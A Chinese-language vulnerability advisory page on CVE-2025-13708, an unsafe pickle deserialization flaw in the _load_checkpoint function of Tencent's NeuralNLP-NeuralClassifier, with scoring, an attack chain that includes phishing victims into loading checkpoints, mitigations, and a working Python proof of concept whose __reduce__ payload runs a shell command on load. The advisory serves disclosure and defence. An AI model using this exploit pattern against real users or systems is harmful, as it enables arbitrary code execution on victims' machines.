IPBUF安全漏洞报告
English
CVE-2025-13708 CVSS 7.8 高危

CVE-2025-13708: Tencent NeuralNLP-NeuralClassifier 不安全反序列化远程代码执行漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-13708
漏洞类型
不安全反序列化导致的远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Tencent NeuralNLP-NeuralClassifier

相关标签

CVE-2025-13708不安全反序列化远程代码执行Tencent NeuralNLPNeuralClassifierpickle反序列化ZDI-CAN-27184高危漏洞CVSS 7.8_load_checkpoint

漏洞概述

CVE-2025-13708是腾讯开源项目NeuralNLP-NeuralClassifier中的一个高危安全漏洞,CVSS评分达到7.8。该漏洞属于不安全反序列化(Deserialization of Untrusted Data)类型,存在于_load_checkpoint函数中。攻击者可以通过构造恶意的序列化数据,在目标系统上执行任意代码。由于该漏洞需要用户交互才能触发(目标用户需访问恶意页面或打开恶意文件),因此属于本地攻击向量但可导致远程代码执行的效果。漏洞影响系统的机密性、完整性和可用性,攻击成功后可获得root权限级别的代码执行能力。此漏洞由趋势科技ZDI(Zero Day Initiative)披露,编号为ZDI-CAN-27184。NeuralNLP-NeuralClassifier是腾讯开源的自然语言处理工具包,广泛应用于文本分类、情感分析等NLP任务,企业用户需及时采取防护措施。

技术细节

该漏洞的根本原因在于_load_checkpoint函数缺乏对用户提供的序列化数据的安全验证。NeuralNLP-NeuralClassifier在加载模型检查点时使用了pickle模块进行反序列化操作,而pickle在反序列化时不会验证数据来源的合法性。攻击者可以通过构造包含恶意__reduce__()方法的Python对象序列化数据,当应用程序调用_load_checkpoint加载这些恶意检查点文件时,反序列化过程会自动执行攻击者预设的代码。具体利用方式为:攻击者创建一个包含恶意序列化对象的checkpoint文件,诱导用户加载该文件。由于_load_checkpoint直接使用pickle.load()进行反序列化,且没有任何签名验证或数据校验机制,攻击代码将以应用程序运行权限执行。在NLP模型的训练和推理场景中,检查点文件的加载是常见操作,这使得漏洞具有较高的实际利用价值。修复方案应采用安全的序列化格式(如JSON、MessagePack)或实现pickle签名验证机制。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统中使用NeuralNLP-NeuralClassifier的应用程序,并定位_load_checkpoint函数的调用点
STEP 2
步骤2
攻击者构造恶意Python对象,利用__reduce__()方法在反序列化时执行系统命令(如创建后门、下载恶意载荷等)
STEP 3
步骤3
使用pickle模块将恶意对象序列化为二进制数据,生成伪装的checkpoint文件
STEP 4
步骤4
攻击者通过社会工程学手段(如钓鱼邮件、恶意文件分享)诱导目标用户下载并加载该恶意checkpoint文件
STEP 5
步骤5
目标用户执行加载checkpoint的操作,_load_checkpoint函数调用pickle.load()触发反序列化,恶意代码以应用权限执行
STEP 6
步骤6
攻击成功后在目标系统上获得root级别的代码执行权限,可进行数据窃取、横向移动或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13708 PoC - Malicious pickle payload for NeuralNLP-NeuralClassifier # This PoC demonstrates the unsafe deserialization in _load_checkpoint function import pickle import os class MaliciousPayload: def __reduce__(self): # This command will be executed when the pickle is deserialized cmd = "touch /tmp/pwned_by_cve_2025_13708" return (os.system, (cmd,)) def generate_malicious_checkpoint(output_path): """Generate a malicious checkpoint file for exploitation""" payload = MaliciousPayload() serialized_data = pickle.dumps(payload) with open(output_path, 'wb') as f: f.write(serialized_data) print(f"[+] Malicious checkpoint generated: {output_path}") print(f"[+] File size: {len(serialized_data)} bytes") def simulate_load_checkpoint(file_path): """Simulate vulnerable _load_checkpoint function""" print(f"[*] Loading checkpoint from: {file_path}") with open(file_path, 'rb') as f: # Vulnerable: No validation before pickle.load() data = pickle.load(f) print("[+] Checkpoint loaded successfully") return data if __name__ == "__main__": import sys if len(sys.argv) > 1: checkpoint_path = sys.argv[1] else: checkpoint_path = "malicious_checkpoint.pkl" # Generate the malicious checkpoint file generate_malicious_checkpoint(checkpoint_path) # Simulate exploitation print("\n[*] Simulating exploitation...") simulate_load_checkpoint(checkpoint_path) # Verify if exploitation was successful if os.path.exists("/tmp/pwned_by_cve_2025_13708"): print("[+] Exploitation successful! Arbitrary code executed.") else: print("[-] Exploitation failed.")

影响范围

Tencent NeuralNLP-NeuralClassifier < commit 8dea5ffdb45cf0a33b3d116de38507afaee87594

防御指南

临时缓解措施
在官方修复发布前,建议采取以下临时缓解措施:1) 严格限制checkpoint文件的来源,只加载来自可信渠道的文件;2) 对所有checkpoint文件实施白名单机制,记录文件哈希值;3) 监控_load_checkpoint函数的调用日志,及时发现异常加载行为;4) 考虑使用SELinux或AppArmor限制应用程序的文件访问权限;5) 对处理外部数据的NLP应用实施网络隔离,防止攻击成功后的横向移动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表